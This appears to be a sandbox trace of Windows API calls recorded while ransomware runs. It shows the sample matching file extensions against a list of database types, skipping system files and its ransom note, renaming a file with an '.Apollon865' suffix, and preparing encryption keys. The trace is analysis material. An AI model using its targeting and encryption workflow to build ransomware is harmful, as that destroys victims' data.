	[0051.880] lstrcmpiW (lpString1="ads.lnk", lpString2="sqlite3") returned -1
	[0051.880] lstrlenW (lpString="sqlitedb") returned 8
	[0051.880] lstrcmpiW (lpString1="oads.lnk", lpString2="sqlitedb") returned -1
	[0051.880] lstrlenW (lpString="xml") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0051.880] lstrlenW (lpString="$er") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0051.880] lstrlenW (lpString="4dd") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0051.880] lstrlenW (lpString="4dl") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0051.880] lstrlenW (lpString="^^^") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0051.880] lstrlenW (lpString="abs") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0051.881] lstrlenW (lpString="abx") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0051.881] lstrlenW (lpString="accdb") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accdb") returned 1
	[0051.881] lstrlenW (lpString="accdc") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accdc") returned 1
	[0051.881] lstrlenW (lpString="accde") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accde") returned 1
	[0051.881] lstrlenW (lpString="accdr") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accdr") returned 1
	[0051.881] lstrlenW (lpString="accdt") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accdt") returned 1
	[0051.881] lstrlenW (lpString="accdw") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accdw") returned 1
	[0051.881] lstrlenW (lpString="accft") returned 5
	[0051.881] lstrcmpiW (lpString1="s.lnk", lpString2="accft") returned 1
	[0051.881] lstrlenW (lpString="adb") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.881] lstrlenW (lpString="adb") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.881] lstrlenW (lpString="ade") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0051.881] lstrlenW (lpString="adf") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0051.881] lstrlenW (lpString="adn") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0051.881] lstrlenW (lpString="adp") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0051.881] lstrlenW (lpString="alf") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0051.881] lstrlenW (lpString="ask") returned 3
	[0051.881] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0051.881] lstrlenW (lpString="btr") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0051.882] lstrlenW (lpString="cat") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0051.882] lstrlenW (lpString="cdb") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0051.882] lstrlenW (lpString="ckp") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0051.882] lstrlenW (lpString="cma") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0051.882] lstrlenW (lpString="cpd") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0051.882] lstrlenW (lpString="dacpac") returned 6
	[0051.882] lstrcmpiW (lpString1="ds.lnk", lpString2="dacpac") returned 1
	[0051.882] lstrlenW (lpString="dad") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0051.882] lstrlenW (lpString="dadiagrams") returned 10
	[0051.882] lstrcmpiW (lpString1="nloads.lnk", lpString2="dadiagrams") returned 1
	[0051.882] lstrlenW (lpString="daschema") returned 8
	[0051.882] lstrcmpiW (lpString1="oads.lnk", lpString2="daschema") returned 1
	[0051.882] lstrlenW (lpString="db-journal") returned 10
	[0051.882] lstrcmpiW (lpString1="nloads.lnk", lpString2="db-journal") returned 1
	[0051.882] lstrlenW (lpString="db-shm") returned 6
	[0051.882] lstrcmpiW (lpString1="ds.lnk", lpString2="db-shm") returned 1
	[0051.882] lstrlenW (lpString="db-wal") returned 6
	[0051.882] lstrcmpiW (lpString1="ds.lnk", lpString2="db-wal") returned 1
	[0051.882] lstrlenW (lpString="dbc") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0051.882] lstrlenW (lpString="dbs") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0051.882] lstrlenW (lpString="dbt") returned 3
	[0051.882] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0051.882] lstrlenW (lpString="dbv") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0051.883] lstrlenW (lpString="dbx") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0051.883] lstrlenW (lpString="dcb") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0051.883] lstrlenW (lpString="dct") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0051.883] lstrlenW (lpString="dcx") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0051.883] lstrlenW (lpString="ddl") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0051.883] lstrlenW (lpString="dlis") returned 4
	[0051.883] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0051.883] lstrlenW (lpString="dp1") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0051.883] lstrlenW (lpString="dqy") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0051.883] lstrlenW (lpString="dsk") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0051.883] lstrlenW (lpString="dsn") returned 3
	[0051.883] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0051.883] lstrlenW (lpString="dtsx") returned 4
	[0051.883] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0051.883] lstrlenW (lpString="dxl") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0051.894] lstrlenW (lpString="eco") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0051.894] lstrlenW (lpString="ecx") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0051.894] lstrlenW (lpString="edb") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0051.894] lstrlenW (lpString="epim") returned 4
	[0051.894] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0051.894] lstrlenW (lpString="fcd") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0051.894] lstrlenW (lpString="fdb") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0051.894] lstrlenW (lpString="fic") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0051.894] lstrlenW (lpString="flexolibrary") returned 12
	[0051.894] lstrcmpiW (lpString1="ownloads.lnk", lpString2="flexolibrary") returned 1
	[0051.894] lstrlenW (lpString="fm5") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0051.894] lstrlenW (lpString="fmp") returned 3
	[0051.894] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0051.894] lstrlenW (lpString="fmp12") returned 5
	[0051.894] lstrcmpiW (lpString1="s.lnk", lpString2="fmp12") returned 1
	[0051.894] lstrlenW (lpString="fmpsl") returned 5
	[0051.895] lstrcmpiW (lpString1="s.lnk", lpString2="fmpsl") returned 1
	[0051.895] lstrlenW (lpString="fol") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0051.895] lstrlenW (lpString="fp3") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0051.895] lstrlenW (lpString="fp4") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0051.895] lstrlenW (lpString="fp5") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0051.895] lstrlenW (lpString="fp7") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0051.895] lstrlenW (lpString="fpt") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0051.895] lstrlenW (lpString="frm") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0051.895] lstrlenW (lpString="gdb") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.895] lstrlenW (lpString="gdb") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.895] lstrlenW (lpString="grdb") returned 4
	[0051.895] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0051.895] lstrlenW (lpString="gwi") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0051.895] lstrlenW (lpString="hdb") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0051.895] lstrlenW (lpString="his") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0051.895] lstrlenW (lpString="ib") returned 2
	[0051.895] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0051.895] lstrlenW (lpString="idb") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0051.895] lstrlenW (lpString="ihx") returned 3
	[0051.895] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0051.895] lstrlenW (lpString="itdb") returned 4
	[0051.896] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0051.896] lstrlenW (lpString="itw") returned 3
	[0051.896] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0051.896] lstrlenW (lpString="jet") returned 3
	[0051.896] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0051.896] lstrlenW (lpString="jtx") returned 3
	[0051.896] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0051.896] lstrlenW (lpString="kdb") returned 3
	[0051.896] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0051.896] lstrlenW (lpString="kexi") returned 4
	[0051.897] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0051.897] lstrlenW (lpString="kexic") returned 5
	[0051.897] lstrcmpiW (lpString1="s.lnk", lpString2="kexic") returned 1
	[0051.897] lstrlenW (lpString="kexis") returned 5
	[0051.897] lstrcmpiW (lpString1="s.lnk", lpString2="kexis") returned 1
	[0051.898] lstrlenW (lpString="lgc") returned 3
	[0051.898] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0051.898] lstrlenW (lpString="lwx") returned 3
	[0051.898] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0051.900] lstrlenW (lpString="maf") returned 3
	[0051.900] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0051.900] lstrlenW (lpString="maq") returned 3
	[0051.900] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0051.900] lstrlenW (lpString="mar") returned 3
	[0051.900] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0051.900] lstrlenW (lpString="marshal") returned 7
	[0051.900] lstrcmpiW (lpString1="ads.lnk", lpString2="marshal") returned -1
	[0051.900] lstrlenW (lpString="mas") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0051.915] lstrlenW (lpString="mav") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0051.915] lstrlenW (lpString="maw") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0051.915] lstrlenW (lpString="mdbhtml") returned 7
	[0051.915] lstrcmpiW (lpString1="ads.lnk", lpString2="mdbhtml") returned -1
	[0051.915] lstrlenW (lpString="mdn") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0051.915] lstrlenW (lpString="mdt") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0051.915] lstrlenW (lpString="mfd") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0051.915] lstrlenW (lpString="mpd") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0051.915] lstrlenW (lpString="mrg") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0051.915] lstrlenW (lpString="mud") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0051.915] lstrlenW (lpString="mwb") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0051.915] lstrlenW (lpString="myd") returned 3
	[0051.915] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0051.915] lstrlenW (lpString="ndf") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0051.916] lstrlenW (lpString="nnt") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0051.916] lstrlenW (lpString="nrmlib") returned 6
	[0051.916] lstrcmpiW (lpString1="ds.lnk", lpString2="nrmlib") returned -1
	[0051.916] lstrlenW (lpString="ns2") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0051.916] lstrlenW (lpString="ns3") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0051.916] lstrlenW (lpString="ns4") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0051.916] lstrlenW (lpString="nsf") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0051.916] lstrlenW (lpString="nv") returned 2
	[0051.916] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0051.916] lstrlenW (lpString="nv2") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0051.916] lstrlenW (lpString="nwdb") returned 4
	[0051.916] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0051.916] lstrlenW (lpString="nyf") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0051.916] lstrlenW (lpString="odb") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.916] lstrlenW (lpString="odb") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.916] lstrlenW (lpString="oqy") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0051.916] lstrlenW (lpString="ora") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0051.916] lstrlenW (lpString="orx") returned 3
	[0051.916] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0051.918] lstrlenW (lpString="owc") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0051.918] lstrlenW (lpString="p96") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0051.918] lstrlenW (lpString="p97") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0051.918] lstrlenW (lpString="pan") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0051.918] lstrlenW (lpString="pdb") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0051.918] lstrlenW (lpString="pdm") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0051.918] lstrlenW (lpString="pnz") returned 3
	[0051.918] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0051.919] lstrlenW (lpString="qry") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0051.919] lstrlenW (lpString="qvd") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0051.919] lstrlenW (lpString="rbf") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0051.919] lstrlenW (lpString="rctd") returned 4
	[0051.919] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0051.919] lstrlenW (lpString="rod") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0051.919] lstrlenW (lpString="rodx") returned 4
	[0051.919] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0051.919] lstrlenW (lpString="rpd") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0051.919] lstrlenW (lpString="rsd") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0051.919] lstrlenW (lpString="sas7bdat") returned 8
	[0051.919] lstrcmpiW (lpString1="oads.lnk", lpString2="sas7bdat") returned -1
	[0051.919] lstrlenW (lpString="sbf") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0051.919] lstrlenW (lpString="scx") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0051.919] lstrlenW (lpString="sdb") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0051.919] lstrlenW (lpString="sdc") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0051.919] lstrlenW (lpString="sdf") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0051.919] lstrlenW (lpString="sis") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0051.919] lstrlenW (lpString="spq") returned 3
	[0051.919] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0051.919] lstrlenW (lpString="te") returned 2
	[0051.919] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0051.919] lstrlenW (lpString="teacher") returned 7
	[0051.920] lstrcmpiW (lpString1="ads.lnk", lpString2="teacher") returned -1
	[0051.920] lstrlenW (lpString="tmd") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0051.920] lstrlenW (lpString="tps") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0051.920] lstrlenW (lpString="trc") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.920] lstrlenW (lpString="trc") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.920] lstrlenW (lpString="trm") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0051.920] lstrlenW (lpString="udb") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0051.920] lstrlenW (lpString="udl") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0051.920] lstrlenW (lpString="usr") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0051.920] lstrlenW (lpString="v12") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0051.920] lstrlenW (lpString="vis") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0051.920] lstrlenW (lpString="vpd") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0051.920] lstrlenW (lpString="vvv") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0051.920] lstrlenW (lpString="wdb") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0051.920] lstrlenW (lpString="wmdb") returned 4
	[0051.920] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0051.920] lstrlenW (lpString="wrk") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0051.920] lstrlenW (lpString="xdb") returned 3
	[0051.920] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0051.920] lstrlenW (lpString="xld") returned 3
	[0051.921] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0051.921] lstrlenW (lpString="xmlff") returned 5
	[0051.921] lstrcmpiW (lpString1="s.lnk", lpString2="xmlff") returned -1
	[0051.921] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Links\\Downloads.lnk.Apollon865") returned 47
	[0051.921] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Downloads.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\downloads.lnk.apollon865"), dwFlags=0x1) returned 1
	[0051.921] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\downloads.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.922] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=894) returned 1
	[0051.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0051.922] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0051.927] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.927] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.927] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x680, lpName=0x0) returned 0x15c
	[0051.935] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x680) returned 0x100000
	[0051.963] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0051.963] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0051.963] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0051.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0051.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0051.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0051.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0051.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0051.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0051.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.964] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0051.964] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0051.964] CloseHandle (hObject=0x15c) returned 1
	[0051.964] CloseHandle (hObject=0xc0) returned 1
	[0051.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0051.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0051.965] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e13e930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.965] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.965] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="windows") returned -1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="bootmgr") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="temp") returned -1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="pagefile.sys") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="boot") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ids.txt") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="ntuser.dat") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="perflogs") returned 1
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2="MSBuild") returned 1
	[0051.965] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0051.965] lstrlenW (lpString="C:\\Users\\Default\\Links\\Downloads.lnk") returned 36
	[0051.965] lstrcpyW (in: lpString1=0x119e636, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk"
	[0051.965] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0051.965] lstrlenW (lpString="Apollon865") returned 10
	[0051.965] lstrcmpiW (lpString1="Places.lnk", lpString2="Apollon865") returned 1
	[0051.965] lstrlenW (lpString=".dll") returned 4
	[0051.965] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".dll") returned 1
	[0051.965] lstrlenW (lpString=".lnk") returned 4
	[0051.966] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".lnk") returned 1
	[0051.966] lstrlenW (lpString=".ini") returned 4
	[0051.966] lstrcmpiW (lpString1="RecentPlaces.lnk", lpString2=".ini") returned 1
